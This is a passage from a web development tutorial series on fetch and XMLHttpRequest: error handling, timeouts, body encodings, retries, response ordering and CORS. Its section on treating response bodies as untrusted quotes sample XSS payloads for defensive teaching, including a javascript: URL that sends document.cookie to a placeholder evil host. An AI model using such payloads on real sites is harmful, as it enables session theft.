Against this site that URL answers 404 with {"error":"No such endpoint","path":"/api/nope"}. The promise resolves. response.json() parses the body successfully, because it is valid JSON. render runs with an object that has no posts in it and draws an empty list. showError never runs. Nothing appears in the console. The user gets a page that looks like it worked and has nothing on it.
This behavior is deliberate. A 500 is a response. It has a status line, headers, and usually a body saying what went wrong. Rejecting the promise would leave you holding an exception and would throw the explanation away with the response that carried it.
fetch's choice is a judgment about who decides what a response means. A transport layer knows whether bytes arrived. Only the caller knows whether a 404 is a bug, an expected empty result, or a sign the user typed the wrong id.
So the contract is one function, two implementations, and a single shape coming back.
A 404 or a 500 resolves with ok: false. The server answered, that answer is data, and the caller decides what it means. Only a failure to complete the exchange rejects: network down, timed out, canceled.
Both transports produce those three failures and report them differently.
| Did not complete | XMLHttpRequest | fetch | kind |
|---|---|---|---|
| Network down, DNS, cross-origin block | error event | TypeError | 'network' |
| Deadline elapsed | timeout event | DOMException, name TimeoutError | 'timeout' |
| Your code canceled it | abort event | DOMException, name AbortError | 'abort' |
XHR gives you three event names and one status of 0 for all three. Step 04 told you to listen for the events rather than read the number. fetch gives you one rejection and three values of error.name. Your calling code wants neither. Give it a third.
On the fetch side, the whole translation is one catch.
{ cause } is the second argument to the Error constructor. It keeps the original DOMException attached, so a log can print the real message while your code branches on kind.
The XHR half of the same contract is step 04's function, with its four listeners resolving and rejecting into that shape. The demo below runs both. Switch the selector and nothing above the transport changes.
XMLHttpRequest has xhr.timeout, a number of milliseconds sitting on the object. fetch has no timeout option and never has. For seven years the answer was a setTimeout that called controller.abort(), plus a clearTimeout in a finally block that people forgot to write.
AbortSignal.timeout(ms) returns a signal that aborts itself when the time runs out. There is no controller to hold and no timer to clear.
The clock starts when you call the method, not when the request goes out. Build the signal with no fetch attached to it and it still aborts on schedule, so build it next to the call that uses it. MDN adds that the timer counts active time rather than elapsed time: it pauses while the document sits in the back/forward cache or a worker is suspended.
You have two reasons to stop waiting: your deadline, and the user pressing Cancel. Neither knows about the other, and a request can only take one signal.
AbortSignal.any([a, b]) returns a signal that aborts when the first of them does, carrying that one's reason. If one is already aborted when you call it, the result comes back already aborted with that reason.
Whichever fires first, fetch rejects. Both signals are still readable in the catch block, and asking them is how the corrected block in the last section tells the two apart.
AbortSignal.timeout() landed in Firefox 100 in May 2022, Chrome 103 that June, and Safari 16 in September 2022. AbortSignal.any() landed in Chrome 116 in August 2023, Safari 17.4 in March 2024, and Firefox 124 later that month. The two are a year apart in Chrome, so a page that combines a deadline with a cancel needs Chrome 116, not 103.
Chrome 103 through 123 shipped AbortSignal.timeout() with the wrong abort reason. A timed-out fetch rejected with an AbortError, never a TimeoutError. Read name on those versions and every timeout comes back kind: 'abort'. Chromium issue 40263649. Chrome 124 fixed it on 16 April 2024. MDN dates Baseline for the method to that day.
This is the second reason the corrected catch asks deadline.aborted. The signal reports what happened to it whatever the engine decided to call the exception, and it survives abort(reason). Write that version and neither problem reaches you.
Step 04 said this about xhr.timeout and it holds here too. A client timeout tells the server nothing. The handler keeps running, the database write still lands, and your page has stopped listening.
Request and Response are objectsXMLHttpRequest is one object that holds the request and the response at once, and you read the parts off it by name. The Fetch API splits them: Request, Response, and Headers, each constructible, each passable to a function that has never heard of fetch.
Headers is a real collection. Step 04 parsed the CRLF string that getAllResponseHeaders() hands back; response.headers.get('content-type') replaces that whole helper. The visibility rules did not change. Cross-origin you still see only the seven safelisted names plus whatever the server puts in Access-Control-Expose-Headers, and Set-Cookie is invisible to script everywhere. Step 08 runs that experiment.
json(), text(), arrayBuffer(), blob(), formData(), and bytes() all consume the same stream. After any one of them response.bodyUsed is true and the stream is spent. bytes() is the recent one: Firefox 128 in July 2024, Safari 18 that September, Chrome 132 in January 2025.
The second call returns a rejected promise, so with await it throws at that line. The error is a TypeError, not a SyntaxError. Read the name before you conclude the server sent garbage.
response.clone() gives you a second independent body, and you have to call it before the first read. clone() is synchronous. On a response whose body is used it throws TypeError at the call.
The waterfall panel at the bottom of every demo in this series does this. It wraps fetch, calls clone() on whatever comes back, reads the clone to fill in the panel, and returns the untouched original to the page. Without the clone, opening the panel would break every demo on the site.
The step 04 demo again, with the transport behind a selector. Choose fetch or xhr and press Send. The posts list, the outcome panel, and the status line are driven by the same result object either way, and nothing downstream of the transport branches on which one ran.
What changed from step 04: the event log is gone, because fetch has no events to log. In its place is an outcome panel that says whether the promise resolved or rejected, and the scroll ruler from steps 02 through 04 has been dropped. The instrumentation strip carries over with the transport name added to it.
Four things to run.
fetch, then switch to xhr and send again. Every line of the outcome panel except the first reads the same. The waterfall at the bottom records both, and its two rows look alike.ok: false. Press GET /api/flaky until you get a 500. The promise resolved. ok is false, status is 500, and data holds {"error":"Upstream exploded","rate":0.5}. The server's explanation arrived intact. Press GET /api/nope for the 404 version.ok: true, Content-Type: application/json, and data is null. The response is fine. The body is truncated. Step 07 is about what to do here./api/slow?ms=5000 with the timeout at 1000 and send: the promise rejects with kind: 'timeout'. Send again with the timeout at 0 and press Cancel: kind: 'abort'. Run both on each transport, then read the signaledBy line: it names an XHR event on one path and an exception on the other.The demo's fetchTransport asks deadline.aborted rather than reading name, so it is right on Chrome 116 as well as on Chrome 124. It prints what the exception called itself on a line of its own. On a current browser that line reads TimeoutError. On Chrome 123 it reads AbortError beside a kind of 'timeout'. Below Chrome 116 the demo runs on xhr, because AbortSignal.any() is not there to combine the deadline with the Cancel button.
fetch still does not doUpload progress, portably. Step 04 covers this in full: xhr.upload fires progress events for the request body, and the fetch equivalent needs duplex: 'half', which exists only in Chromium. If a progress bar for an upload matters, that request stays on XMLHttpRequest. Download progress is fine on fetch, through response.body.
Synchronous mode. There is none and there will not be. fetch returns a promise. xhr.open(method, url, false) still runs and is deprecated. Don't write either.
Surviving the page. A fetch started while the user navigates away gets canceled with the document. Step 09 covers navigator.sendBeacon and the keepalive option.
Between 2015 and 2022 fetch had no deadline of any kind, and every codebase grew its own setTimeout wrapper. AbortSignal.timeout() closed that one.
Every request so far has been a GET with nothing in it. Step 6: What to send fills in the body:
URLSearchParams, FormData, and JSON.stringify, one per encodingContent-Type yourself on a FormData body breaks the requestDate, undefined, Map, Set, and anything with a cycle in itStep 06
Almost every request in steps 03 through 05 was a GET with an empty body. The exception was step 04's progress bar, which pushed a block of padding at /api/echo so the upload events had something to count. No step so far has picked an encoding on purpose. Step 01's form did have a body, and the browser built it, chose an encoding for it, and wrote the header describing it. Take the request over and you take that job too. This step covers the three encodings, the header that tells a server which one arrived, what JSON loses on the way through, and how much of the object in front of you belongs on the wire at all.
application/x-www-form-urlencoded, multipart/form-data, and application/json, and read each off the wireURLSearchParams, FormData, and JSON.stringify for a given bodynew FormData(form) collects and which it skipsContent-Type on a FormData body, and what status the server returnsContent-Type fetch writes for each kind of body value, and the one case where you have to write it yourselfJSON.stringify drops, converts, and throws oncharset parameter on application/json means nothingA browser can serialize a body three ways with no help from you. The enctype attribute on a <form> picks between application/x-www-form-urlencoded, which is the default, multipart/form-data, and text/plain. Step 01 used the first two. text/plain writes name=value one pair per line, and the HTML standard says its payloads are meant to be human readable and are not reliably interpretable by computer, because a newline inside a value looks like the newline that ends it. Do not send it to a real endpoint.
JSON is not on that list. No enctype value produces it, so a JSON body only exists because JavaScript built one.
Three fields run through this whole step. The title carries an accented character and two CJK characters.
application/x-www-form-urlencodedOne line. Pairs joined by &, name and value joined by =, and spaces written as +. Four punctuation characters survive, *, -, ., and _, along with the ASCII letters and digits. Everything else is percent-escaped one UTF-8 byte at a time. é is two bytes and becomes %C3%A9. 東 is three and becomes %E6%9D%B1.
URLSearchParams builds it. It applies the same serializer the form does, so a space comes out +, not %20. encodeURIComponent('a b') gives you a%20b.
It cannot carry a file. Every value is a string. To nest anything you and the server agree on a convention; the format has none.
multipart/form-dataA random string called the boundary, chosen per request, separates the fields. Each part gets a Content-Disposition: form-data header naming it, a blank line, then the value as raw bytes with no escaping at all. The last boundary carries a trailing --. Chrome's boundary is ----WebKitFormBoundary followed by sixteen random characters.
Those three fields cost 68 bytes urlencoded and 352 multipart, both measured through /api/echo in Chrome 151. The multipart figure moves between browsers, because the boundary token is theirs to choose and Chrome's is 38 characters long. The overhead is fixed per field, so it stops mattering as the values get long and matters a great deal when they are short. Files are what the format is for: a part can carry a filename and its own Content-Type, and the bytes go through unescaped.
application/jsonNested objects, arrays, numbers, booleans, and null, all typed. Both other formats have exactly one type: string.
JSON came out smallest here, at 66 bytes, because the values are short and the field names are the only overhead. Add a 2 MB image and the ranking inverts: JSON has no binary type, so the image has to be base64'd into a string, and base64 costs a third more bytes than the file it encodes. Multipart sends the same file as bytes.
| Encoding | Built with | Files | Types | Bytes for the three fields above, Chrome 151 |
|---|---|---|---|---|
application/x-www-form-urlencoded | URLSearchParams | No | Strings only | 68 |
multipart/form-data | FormData | Yes, as bytes | Strings and files | 352 |
application/json | JSON.stringify | Only base64'd into a string | Objects, arrays, numbers, booleans, null | 66 |
FormData from a formnew FormData(formElement) reads the form and collects its successful controls, the same set the browser would submit on its own.
| Control | Collected | Entry |
|---|---|---|
Text input, select, or textarea with a name | Yes | Its current value |
Any control with no name | No | |
disabled, or inside a disabled <fieldset> | No | |
| Unchecked checkbox or radio | No | |
Checked checkbox with no value attribute | Yes | The string "on" |
<select multiple>, two options selected | Yes | Two entries under one name |
Two controls sharing a name | Yes | Two entries, in document order |
| Submit button | No | Its name and value, but only when it is passed as the second argument |
<input type="image">, which is also a submit button | No | Passed as the second argument it adds two entries, name.x and name.y, both 0 outside a real click |
| Reset button, or any element that is not a submit button | Never | Passing one as the second argument throws TypeError |
<input type="file"> with nothing chosen | Yes | An empty File: name "", size 0, type application/octet-stream |
<input type="file" multiple>, two files chosen | Yes | Two File entries under one name |
The empty File on an untouched file input catches people. The entry is there, the name is right, and the value is a zero-byte file. A server that checks whether the field exists will conclude the user uploaded something. Check the size.
Buttons are the other surprise. A submit button is a successful control only when it is the button that submitted, and the one-argument constructor has no submitter to compare against, so it drops every button in the form. Pass the button as a second argument when you want it.
That argument takes a submit button and nothing else. Hand it a reset button, a type="button" button, or any other element and the constructor throws TypeError: Failed to construct 'FormData': The specified element is not a submit button. null is allowed and means the same as leaving the argument off, which matters because event.submitter is null when a form submits without a button.
The second argument arrived in Firefox 111 on 14 March 2023, Safari 16.4 on 27 March 2023, and Chrome 112 on 4 April 2023. Older engines ignore it rather than throwing, so the button quietly stays out of the body.
Content-Type yourselfHand a FormData to fetch as body and it writes the header for you, including the boundary it generated for that particular body.
Write the header yourself and you have no way to know the boundary, because it is generated with the body.
The request leaves. The bytes arrive intact. Then the server tries to parse them and finds no boundary to split on. Against /api/posts, which calls request.formData(), the measured result is a 500:
The same request with the header left alone returns 201. Both buttons are in the demo below.
Content-Type is a parsing instructionA body is bytes. Content-Type is how the server decides which parser to run on them.
fetch writes the header for you based on what you passed as body, and gets out of the way if you wrote one yourself. Measured in Chrome 151:
body | Content-Type fetch writes | bodyKind from /api/echo |
|---|---|---|
FormData | multipart/form-data; boundary=… | multipart |
URLSearchParams | application/x-www-form-urlencoded;charset=UTF-8 | urlencoded |
| A string | text/plain;charset=UTF-8 | other |
Blob with a type | That type | Whatever the type says |
Blob with no type | None | other |
ArrayBuffer or a typed array | None | other |
ReadableStream | None, and duplex: 'half' is required | other |
| Any of the above with a header you set | Yours, unchanged | Whatever you claimed |
Two of those rows are traps. The string row is the common one: JSON.stringify(fields) is a string, so a fetch with no headers option sends valid JSON labeled text/plain, and /api/echo reports bodyKind: "other". Many servers reject that, and the ones that sniff the body instead are doing you no favors. The last row is the one that produced the 500 above. Set the header only when you built the bytes yourself.
JSON.stringify takes a JavaScript value and gives back a JSON string, and JSON has six types: object, array, string, number, boolean, and null. Everything else converts, disappears, or throws.
| Value | As an object property | As an array element |
|---|---|---|
Date | ISO 8601 string | ISO 8601 string |
undefined | Key omitted | null |
| Function | Key omitted | null |
Symbol | Key omitted | null |
Infinity, -Infinity, NaN | null | null |
Map, Set | {}, contents gone | {}, contents gone |
BigInt | Throws TypeError | Throws TypeError |
| An object referring to itself | Throws TypeError | Throws TypeError |
The two throws announce themselves. V8's messages are Do not know how to serialize a BigInt and Converting circular structure to JSON. The rest are silent. The request succeeds, the server stores what it got, and the field is missing.
Date goes out as a string and comes back oneDate.prototype.toJSON calls toISOString, so JSON.stringify(new Date(0)) is "1970-01-01T00:00:00.000Z", in UTC, quotes included. JSON has no date type, so nothing on the way back turns it into one.
Agree on the string format with whoever runs the server, and call new Date(back.postedAt) on the way in. Pick ISO 8601 with an explicit offset.
A Map becomes [...map], an array of pairs. A Set becomes [...set]. A BigInt becomes a string, and the server has to know it is one. Cycles need a real graph format, or a redesign of what you are sending. JSON.stringify takes a replacer function as its second argument if you want the conversion in one place.
Assume UTF-8 on every transmission, in both directions. Do not override it: JSON is UTF-8 by definition, and RFC 8259 states that no charset parameter is defined for application/json and that adding one has no effect on a compliant recipient. Check that the bytes you send are encoded the way you say. The file, the database column, and the header have to agree. Online the details matter: a title that renders as Café on somebody else's screen is UTF-8 bytes decoded with a single-byte table.
Every byte in the body is paid for by somebody. On a slow connection it is paid in seconds.
Three fields cost 68 bytes urlencoded in the demo below. Turn on six more that /api/posts never reads and the same request grows by about 300 bytes, most of it a user agent string the server already has in a header. The endpoint validates title and author.
Don't send the whole object because you have it. A POST that updates a display name does not need the user's entire profile attached to it.
Don't send fields the server ignores. They cost bytes on every request, they end up in access logs, and the next person to read the code cannot tell which fields matter. A form with 40 fields where the endpoint reads 3 is a bug.
Don't send personal data you did not need to collect. A session id the server already has in a cookie, a user agent string it already has in a header, a precise location for a feature that wanted a city. Each one is now in a log, in a backup, and in whatever the logs get shipped to.
The reverse mistake exists too. Splitting one submit into four requests to keep each one small buys you four round trips, four chances to fail halfway, and four things to undo. Send what the endpoint reads, in one request.
The same fields, serialized three ways, POSTed to /api/echo, with the reflected bodyKind, Content-Type, byte count, and raw body in three panels side by side. The byte count is the Content-Length the server read off the request.
What changed from step 05: the transport selector is gone, because everything here runs on fetch. The outcome panel is replaced by the three payload panels. The instrumentation strip keeps the load counter, the request counter, the build time, and the query string, and adds the encoding, the bodyKind, and the byte count of the last body sent.
Five things to run.
name, so it appears in none of the three bodies.<fieldset> disables everything inside it and FormData skips disabled controls.new FormData(form) collected and what it would have collected with that button passed as the submitter, which is one more, and it names the pair. Press Send all three and the line says there is no submitter, because that control is a type="button" and the form was never submitted.The waterfall records all three POSTs to /api/echo as three rows, all 200. The demo builds its JSON body from the same FormData the other two use rather than from Object.fromEntries, which keeps only the last value when two controls share a name.
Every request in the demo above returned 200 or 201, except the one engineered to fail. Step 7: When it goes wrong is about the rest of the time:
Step 07
Steps 03 through 06 assumed an answer. One request went out, one response came back, and the only failure on any of those pages was a 500 built on purpose to make a point about boundaries. A request can also fail before it leaves the machine, hang with the connection open, come back with a status you did not want, or come back 200 with a body that will not parse. It can even come back correct, after a newer request already painted the screen. This step covers the eight ways it goes wrong, which of them are worth trying again, and what to do with a response body once you have it. Three endpoints were built for it: /api/slow, /api/flaky, and /api/bad-json.
AbortSignal per attemptRetry-After yourself, in both of its formatsJSON.parse on a 200 and report the failure as its own kindEight things go wrong. Five of them reject the fetch promise or throw on the way to the data, two resolve with a status you have to read, and one produces no error anywhere.
| What failed | What your code sees | How you tell |
|---|---|---|
| DNS did not resolve | TypeError. In Chrome the message is Failed to fetch. | You cannot, from the page. See below. |
| Connection refused, reset, or no network at all | TypeError, Failed to fetch | navigator.onLine is false for the offline case only, and it lies on captive portals |
| TLS handshake rejected: expired certificate, name mismatch, unknown authority | TypeError, Failed to fetch | The console gets a net::ERR_CERT_ line. Your catch block does not. |
| Connected, request sent, nothing comes back | A promise that stays pending until you impose a deadline | AbortSignal.timeout(), which rejects with a TimeoutError DOMException |
| 4xx: the request was wrong | The promise resolves. response.ok is false. | response.status: 400, 401, 403, 404, 409, 422, 429 |
| 5xx: the server or a gateway failed | The promise resolves. response.ok is false. | response.status: 500, 502, 503, 504 |
200, correct Content-Type, body that will not parse | The promise resolves and response.ok is true. response.json() rejects. | A SyntaxError from the parser, and only if you caught it |
| A response arrives after one you sent later | Nothing. Every request succeeded. | Your own bookkeeping, because the platform has none |
The first three arrive as one exception with one message. Reporting which of them happened would let any page probe hosts it has no other way to see: whether a name resolves on this network, whether a port is open, whether an internal service is running. Chrome writes a net::ERR_NAME_NOT_RESOLVED or net::ERR_CERT_DATE_INVALID line to the console, where a human can read it. JavaScript gets TypeError: Failed to fetch for all of them. Firefox uses one message too, NetworkError when attempting to fetch resource.
Step 05 mapped those exceptions onto three kinds: 'network', 'timeout', and 'abort'. This step adds three more. 'status' for a response you got and did not want, 'content' for a response whose bytes are not what the header claimed, and 'body' for a transfer that broke before the last byte arrived.
The last row produces no error. Nothing on the platform reports it, so the Ordering section below is about finding it yourself.
fetch has no timeout option. If a server accepts the connection and then says nothing, the promise stays pending. The browser will eventually drop a socket that produces nothing, on a schedule that is not specified, not readable from JavaScript, and not the same on every network. Set your own deadline.
Pick it from what the user is doing, not from the endpoint's average response time. Jakob Nielsen's three limits, from Usability Engineering in 1993, still describe the attention you are spending: 0.1 seconds feels instant, 1 second is the limit for uninterrupted thought, and 10 seconds is the limit for keeping someone's attention on the task at all.
| Request | Deadline | Why that number |
|---|---|---|
| Autocomplete, one per keystroke | 1000 ms | The answer is worthless once the user has typed the next letter. A slow one is not worth waiting for. |
| A list the user is watching load | 8000 ms | Inside Nielsen's 10 seconds, with room for a retry to start before the user gives up. |
| An export the user asked for and expects to take a while | 30000 ms | They chose to wait. Show progress and honor the choice. |
| A background write of a draft | 5000 ms | Nobody is watching. Fail fast, keep the draft locally, and try again on the next tick. |
Step 05 covered AbortSignal.timeout(), the clock that starts when you call it, and AbortSignal.any() for combining a deadline with a user's cancel.
AbortSignal.timeout() fires once and stays fired. Measured in Node 25.4.0, and the same in Chrome: after the timeout elapses, signal.aborted is true forever, signal.reason stays the TimeoutError, and AbortSignal.any([firedSignal]) comes back already aborted. Hand that signal to a second fetch and the second fetch rejects before it opens a connection. A retry loop needs a new signal on every pass.
Retry when the failure was about the moment, not the request. Four kinds qualify.
/api/flaky in the demo answers 500, where a service that is actually overloaded would answer 503 with a Retry-After.429 is the exception to the 4xx rule. It means you sent too many requests, so waiting is the fix, and the server usually says how long in a Retry-After header.
RFC 9110 section 9.2.1 calls a method safe when its semantics are read-only. GET, HEAD, OPTIONS, and TRACE are safe. Section 9.2.2 calls a method idempotent when the intended effect of several identical requests is the same as the effect of one, and names PUT, DELETE, and the safe methods. DELETE is idempotent and not safe: send it twice and the resource is gone, which is the same state as sending it once.
| Method | Safe | Idempotent | Safe to repeat when no response arrived |
|---|---|---|---|
GET, HEAD | Yes | Yes | Yes |
OPTIONS, TRACE | Yes | Yes | Yes |
PUT | No | Yes | Yes. It writes the same representation either way. |
DELETE | No | Yes | Yes, though the second one may answer 404 |
POST | No | No | No |
PATCH | No | No | No. {"count": "+1"} applied twice is +2. |
Retrying immediately aims a second request at a server that just failed to answer the first. Exponential backoff spaces the attempts out: wait 300 ms, then 600, then 1200. The doubling does not stop on its own, so cap it. At a 300 ms base, an uncapped attempt 10 waits 154 seconds and attempt 12 waits over 10 minutes.
Add jitter. A server that falls over drops every connected client at once, and every one of those clients waits the same 300 ms and comes back together. Multiplying the delay by a random fraction spreads the returning clients across the whole window.
Retry-After is yours to readfetch does not honor it. The string Retry-After does not appear anywhere in the Fetch standard. A 429 or a 503 carrying it resolves as fast as any other response, and the header sits in response.headers until you read it.
RFC 9110 section 10.2.3 defines two formats: Retry-After = HTTP-date / delay-seconds, where delay-seconds is a non-negative decimal integer. Both are in the RFC's own examples: Retry-After: 120 and Retry-After: Fri, 31 Dec 1999 23:59:59 GMT. The spec attaches it to 503 and to any 3xx; RFC 6585 attaches it to 429; RFC 9110 section 15.5.14 says a 413 SHOULD carry it when the condition is temporary. Handle both formats and clamp the result, because a server under load is entitled to say 3600 and your page is not going to wait an hour.
Three cases. A 500 is a completed exchange and a timeout is your deadline, so neither is on the list.
REFUSED_STREAM in a RST_STREAM means no processing occurred. Requests covered by either guarantee may be retried automatically, including a POST, because the server has promised nothing happened.Step 05's transport returned one Result object for both fetch and XMLHttpRequest. This is that function with a loop around it, five kinds instead of three, and a fresh signal per attempt.
One function is not enough. retryable() reads the status, and no status tells you whether the server already did the thing. A 504 means a gateway stopped waiting for an origin that may have committed the write a moment later, which makes it more likely to be sitting on a completed side effect than a 500 is. The axis for side effects is the method, and RFC 9110 section 9.2.2 is where it lives. Ask both questions.
Three attempts at an 8-second deadline is 24 seconds of request time. Add the backoff waits, up to 300 ms and 600 ms, and a user watching a list can wait 24.9 seconds to be told it failed. Nielsen's outer limit was 10. Either cut the attempts, cut the deadline, or put a total budget around the whole loop and stop when it runs out. The demo below defaults to a 2000 ms deadline and 3 attempts for the same reason.
/api/bad-json answers 200 with Content-Type: application/json; charset=utf-8 and this body:
Everything a status check looks at is correct. response.ok is true, response.status is 200, and the Content-Type is the one you wanted. The bytes stop in the middle of an object.
Real causes: a proxy that truncated the body, a load balancer that returned its own HTML error page under the upstream's headers, a handler that wrote the header and then threw, a captive portal answering for a network you have not signed into yet. Checking Content-Type does not help here, because this endpoint sends the right one.
Guard the parse and keep the text. response.json() consumes the body, so a rejection there leaves you with nothing to log. Read response.text() once and parse the string yourself, and the first 200 characters are still in hand when it fails.
Parsing is not the last check either. A body can be valid JSON and still be the wrong shape: a 404's error object where you expected a list, null where you expected an array, a count that arrived as a string.
A search box fires a request per keystroke. The user types abcd in under half a second, so four requests are open at once. HTTP has no rule that says answers come back in the order the questions went out, and they frequently do not: different connections, different cache states, different amounts of work per query.
| Sent at | Query | Server took | Painted at |
|---|---|---|---|
| 0 ms | a | 900 ms | 900 ms, last |
| 120 ms | ab | 400 ms | 520 ms |
| 240 ms | abc | 200 ms | 440 ms |
| 360 ms | abcd | 100 ms | 460 ms |
At 900 ms the input says abcd and the list underneath it is the answer for a. All four requests returned 200. No exception was thrown and nothing was logged. On a fast connection the spread is small enough that the bug never shows up in development.
Keep the controller for the request in flight. When a new one starts, abort the old one. The old fetch rejects with an AbortError, the connection is released, and the response never reaches your render function.
Give every request a ticket. After the await, compare the ticket against the highest one already painted and drop anything older. Take the comparison and the claim in the same synchronous step, because two responses can be sitting in the microtask queue at the same time.
The ticket lets every request run to completion. The bytes still arrive, the connection stays busy, and the server does the work for three queries nobody will read. Abort stops the transfer, frees the connection for the request you care about, and gives the server a chance to notice the client left.
The ticket earns its place when you cannot cancel: a POST already on the wire, a request shared by two call sites, or work that has to finish for reasons other than painting. The demo has all three.
A response body is input from outside your program. That is true of a third-party API, and it is true of your own endpoint, because your own endpoint stores what somebody typed into it. Somebody typed <img src=x onerror=alert(document.cookie)> into your title field and pressed Submit.
JSON.parse executes nothing. It is not eval, it does not run functions, and there is nothing in the JSON grammar that can call anything. Parsing that title gives you a 42-character string.
textContent writes characters. It never invokes the HTML parser, so no element, attribute, or handler can come out of it. Use it for every value that came off the wire.
textContent does not coverIt protects the text of an element. Four things sit outside that.
a.href = post.url with a url of javascript:fetch('https://evil.example/?c='+document.cookie) runs on click. Same for src, formaction, and xlink:href. Parse the value and check the scheme.innerHTML, outerHTML, insertAdjacentHTML, document.write, Range.createContextualFragment, and iframe.srcdoc all parse. srcdoc looks like a string attribute and parses a whole document.<script> element. textContent on a script you then insert into the document is source code, and it runs.style attribute or a stylesheet can load a URL and can cover the page with a transparent element."__proto__" in a payloadJSON.parse handles this key safely and the code around it often does not. Parsing {"__proto__": {"isAdmin": true}} gives an object with an own data property named __proto__. The prototype is untouched, the setter on Object.prototype is never invoked, and no other object in the page changes. An object literal with the same text behaves differently: it sets the prototype.
Reject the key on the way in if you merge parsed data into anything. JSON.parse(text, reviver) takes a reviver that can return undefined for a key named __proto__, which drops it. Object.create(null) for the target of a merge removes the setter from the picture entirely.
Two experiments on one page. The top half runs the loop from this step against whichever failure endpoint you pick and logs every attempt with its status and its elapsed milliseconds. The bottom half fires three requests at /api/slow with descending delays so the answers come back in reverse, with a guard you can switch between off, a ticket, and abort.
What changed from step 06: the three encoding panels are gone, because every request here is a GET. An endpoint selector, a timeout field, an attempt count, and a backoff toggle replace them. The instrumentation strip keeps the load counter, the request counter, the build time, and the query string, and adds the attempts on the last run, how it ended, and the total time spent waiting between attempts.
Six things to run.
/api/slow with 3000 ms and leave the deadline at 2000. Every attempt gives up at about 2000 ms and the run ends timeout. Raise the deadline to 4000 and the first attempt succeeds./api/flaky at rate 0.5. It answers 500 half the time, so most runs show a failed attempt followed by a good one. The Then waited column is the backoff between them./api/flaky to rate 1.0. Every attempt is a 500, the loop spends its three attempts, and the final outcome is the last one rather than an exception./api/bad-json. The status is 200 and the run ends content, with the parser's message and the first 200 characters of what arrived. It is not retried, and the attempt log shows one row.The waterfall records every attempt as its own row, so a run of three against /api/flaky is three entries with three statuses. Aborted requests appear there too. The ticket guard leaves three completed rows; the abort guard leaves one completed and two canceled.
Everything so far has talked to cse134.site from a page served by cse134.site. Step 8: Other people's data changes the origin:
Step 08
Every request in this series so far went from a page on cse134.site to an endpoint on cse134.site. Change the host name in the URL and the same code stops working, with an error that names nothing. This step is CORS as your code experiences it: what you get told when a read is refused, what makes the browser ask permission before it sends anything, what turning on cookies costs, and what you take on when you route the call through a server of your own. The mechanism and the reasoning behind it are in The security model, module 7 of the browser series.
fetch and XMLHttpRequest report for a blocked cross-origin read, and what they never reportAccess-Control-Max-Age is a suggestionmode: 'no-cors' returns and why it solves nothingAn origin is a scheme, a host, and a port. Any one of the three is enough to make two URLs different origins. https://cse134.site and https://cse134site.tpowell.workers.dev differ in the host. http://cse134.site and https://cse134.site differ in the scheme. http://localhost:8787 and http://localhost:3000 differ in the port. The two host names in this step's demo run the same Worker, off the same source file, in the same account.
Ask one of them for something from a page served by the other and your code gets this:
| What you read | fetch | XMLHttpRequest |
|---|---|---|
| The call | The promise rejects with a TypeError | The error event fires. load does not. |
status | There is no Response object to ask | 0 |
statusText | Same | The empty string |
| Response headers | Same | getAllResponseHeaders() returns the empty string |
| Response body | Same | responseText is the empty string |
| Why it was blocked | Nothing. The message is the same one a dead DNS name produces. | Nothing. The error event carries no reason. |
Step 07 listed TypeError: Failed to fetch as the report for DNS failure, connection failure, and a rejected certificate. A CORS block is the fourth thing that produces it. Firefox uses its one message, NetworkError when attempting to fetch resource., for the same set.
The browser knows the reason and writes it to the console. Chrome prints Access to fetch at '…' from origin '…' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. Firefox prints Cross-Origin Request Blocked with a Reason: clause naming the missing or wrong header. Neither string is reachable from JavaScript.
The Network panel does not rescue you either. Measured in Chrome 151: the row for a blocked read shows the request and every header it sent, including Origin, and its Status column reads CORS error. The status the server returned and the headers it returned are not in it. The console line beside it names the reason, and the Issues panel repeats it.
A cross-origin response you are allowed to read still arrives with most of its headers hidden. Seven names are on the safelist:
Everything else reads as null until the server names it in Access-Control-Expose-Headers. This is the answer to the question step 04 left open about getAllResponseHeaders(): same-origin it returns everything, cross-origin it returns these seven plus whatever was exposed.
Access-Control-Expose-Headers: * works, and only for a request without credentials. Debugging an integration where the server sends a request ID you cannot see is a normal afternoon. Ask for it to be exposed.
Some cross-origin requests go straight out. The rest are held while the browser sends an OPTIONS request to ask whether the real one is allowed. MDN calls the first kind simple requests and notes that the Fetch standard, which defines CORS, does not use that term. The standard states conditions instead, and a request avoids the preflight when all three hold.
GET, HEAD, or POST. Those three are the CORS-safelisted methods. PUT, PATCH, and DELETE preflight every time.Origin, Referer, User-Agent, and Accept-Encoding itself, and none of them trigger anything.xhr.upload forces a preflight. A fetch body that is a ReadableStream forces one too, because the bytes have no replayable source.| Header | What the value may contain | Stays simple |
|---|---|---|
Accept | Anything with no CORS-unsafe byte in it | application/json |
Accept-Language | Only 0-9, A-Z, a-z, space, and *,-.;= | en-US,en;q=0.9 |
Content-Language | The same set | en-US |
Content-Type | No CORS-unsafe byte, and the essence must be application/x-www-form-urlencoded, multipart/form-data, or text/plain | text/plain;charset=UTF-8 |
Range | A single byte range with a start, the shape a media element sends | bytes=0-1023 |
Two size rules sit on top of that. A single safelisted header whose value runs past 128 bytes stops being safelisted. If the safelisted headers add up to more than 1024 bytes together, all of them are treated as unsafe at once.
A CORS-unsafe request-header byte is any byte below 0x20 other than tab, plus ", (, ), :, <, >, ?, @, [, \, ], {, }, and DEL. The parameter on Content-Type is allowed: text/plain;charset=UTF-8 contains no unsafe byte and its essence is text/plain, so it is safelisted. Only the essence is compared, so parameters cannot rescue an unsafe type.
The preflight is an OPTIONS request with no body, carrying the origin and a description of the request the browser is holding.
Access-Control-Request-Headers lists the unsafe header names, lowercased and sorted. The preflight carries no cookies and no Authorization header, whatever the real request is going to carry.
| Response header | What it answers | * allowed | With credentials |
|---|---|---|---|
Access-Control-Allow-Origin | Who may read the response | Yes | No. Name the origin. |
Access-Control-Allow-Methods | Which methods the preflight approves | Yes | No. List them. |
Access-Control-Allow-Headers | Which unsafe headers may be sent | Yes, except Authorization | No. List them. |
Access-Control-Expose-Headers | Which response headers script may read | Yes | No. List them. |
Access-Control-Max-Age | How long this answer may be cached | Not applicable | Unchanged |
Authorization is the one exception the Fetch standard writes into the algorithm by name. It calls it a CORS non-wildcard request-header name, and a * in Access-Control-Allow-Headers does not cover it. Name it or the preflight fails.
The preflight response also has to succeed. A 204 or a 200 works; a 401, a 404, or a 500 on the OPTIONS fails the preflight and the real request never leaves. Servers that require authentication on every route, OPTIONS included, produce this and it looks like a CORS bug rather than an auth bug.
Access-Control-Max-Age is a suggestionThe browser caches a preflight answer per origin, per URL, per method, and per header set, so a second identical call skips the OPTIONS. The header names a number of seconds. Every browser caps it.
| Browser | Longest it will cache | Default when the header is absent |
